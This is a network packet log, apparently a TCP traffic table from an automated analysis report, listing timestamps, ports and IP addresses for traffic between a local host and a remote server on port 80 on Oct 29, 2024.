Oct 29, 2024 18:42:11.386914015 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.386934042 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.503777981 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.503843069 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.503854990 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.503879070 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.503879070 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.503976107 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.504030943 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.504053116 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.504076004 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.504087925 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.504121065 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.504121065 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.504121065 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.504153967 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.504194975 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.504816055 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.504872084 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.504879951 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.504889011 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.504945040 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.504945040 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.504966974 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.504978895 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.505017996 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.505017996 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.505640984 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.505692959 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.505705118 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.505727053 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.505727053 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.505747080 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.623456001 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.623485088 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.623496056 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.623573065 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.623573065 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.623651981 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.623697042 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.623708010 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.623734951 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.623754025 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.624145985 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.624186993 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.624200106 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.624209881 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.624270916 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.624305010 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.624317884 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.624330044 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.624376059 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.624376059 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.625000000 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.625047922 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.625049114 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.625065088 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.625098944 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.625098944 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.625118971 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.625130892 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.625154018 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.625171900 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.743248940 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.743278980 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.743293047 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.743361950 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.743396997 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.743465900 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.743479013 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.743489981 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.743522882 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.743596077 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.743710995 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.743798018 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.743808985 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.743828058 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.743828058 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.743879080 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.743916988 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.743916988 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.743936062 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.743998051 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.744410038 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.744477987 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.744484901 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.744499922 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.744534016 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.744535923 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.744535923 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.744549036 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.744581938 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.744581938 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.784183025 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.784303904 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.784823895 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.784874916 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.863174915 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.863210917 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.863226891 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.863241911 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.863259077 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.863285065 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.863325119 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.863368034 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.863431931 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.863500118 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.863516092 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.863565922 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.863565922 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.863725901 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.863751888 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.863773108 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.863791943 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.863791943 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.863815069 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.863861084 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.863931894 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.864223003 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.864275932 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.864289999 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.864301920 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.864315033 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.864368916 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.864370108 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.864412069 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.088319063 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.088443995 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.088445902 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.088493109 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.088507891 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.088576078 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.089682102 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.089756966 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.091619968 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.091635942 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.091650963 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.091666937 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.091670036 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.091684103 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.091691971 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.091701031 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.091717005 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.091731071 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.091731071 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.091747046 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.091762066 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.091778994 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.091788054 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.091788054 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.091789007 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.091794968 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.091923952 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.091923952 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.092577934 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.092607021 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.092622042 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.092636108 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.092645884 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.092645884 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.092652082 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.092674017 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.092674017 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.092705965 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.093765974 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.093830109 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.094443083 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.094449043 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.094455004 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.094516039 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.102504969 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.102560043 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.102576017 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.102598906 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.102602005 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.102602005 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.102617025 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.102658033 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.102749109 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.102794886 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.102808952 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.102808952 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.102884054 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.102884054 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.103094101 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.103140116 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.103153944 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.103174925 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.103174925 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.103187084 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.103415012 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.103446007 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.103460073 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.103460073 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.103538990 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.103538990 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.103549004 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.103565931 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.103602886 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.103602886 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.148171902 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.148201942 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.148217916 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.148247957 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.148293972 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.148317099 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.148333073 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.148360014 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.148384094 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.222507954 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.222529888 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.222547054 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.222563982 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.222601891 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.222628117 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.222677946 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.222750902 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.222799063 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.222829103 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.222846031 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.222852945 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.222889900 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.222889900 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.223108053 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.223138094 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.223151922 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.223201036 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.223201036 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.223201036 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.223264933 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.223331928 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.223628044 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.223723888 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.223728895 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.223738909 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.223802090 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.223802090 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.263041973 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.263087034 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.263101101 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.263156891 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.263156891 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.263230085 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.263247013 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.263262987 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.263299942 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.263333082 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.263336897 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.263398886 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.342436075 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.342454910 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.342469931 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.342564106 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.342578888 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.342622042 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.342622042 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.342653990 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.342660904 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.342717886 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.342750072 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.342787027 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.342812061 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.342825890 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.342892885 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.342941046 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.343019009 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.343058109 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.343075037 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.343132973 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.343132973 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.343308926 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.343384027 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.343404055 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.343416929 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.343420029 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.343425035 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.343496084 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.343543053 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.343543053 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.343543053 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.382707119 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.382777929 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.382792950 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.382844925 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.382844925 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.382879019 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.382894039 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.382910967 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.382945061 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.383008003 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.461886883 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.461956024 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.461971998 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.462013006 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.462013006 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.462030888 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.462050915 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.462065935 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.462096930 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.462119102 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.463064909 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.463116884 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.463152885 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.463179111 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.463195086 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.463206053 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.463221073 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.463221073 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.463243961 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.463243961 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.463335037 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.463387012 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.463407993 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.463423014 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.463439941 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.463485003 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.463485003 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.463485003 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.463490009 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.463505030 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.463535070 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.463556051 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.463556051 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.463578939 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.473970890 CET	443	49703	23.1.237.91	192.168.2.5
Oct 29, 2024 18:42:12.474052906 CET	49703	443	192.168.2.5	23.1.237.91
Oct 29, 2024 18:42:12.502640009 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.502656937 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.502672911 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.502696991 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.502763033 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.502763033 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.502808094 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.502849102 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.502888918 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.502888918 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.502899885 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.502916098 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.502952099 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.502966881 CET	49704	80	192.168.2.5	45.88.76.238
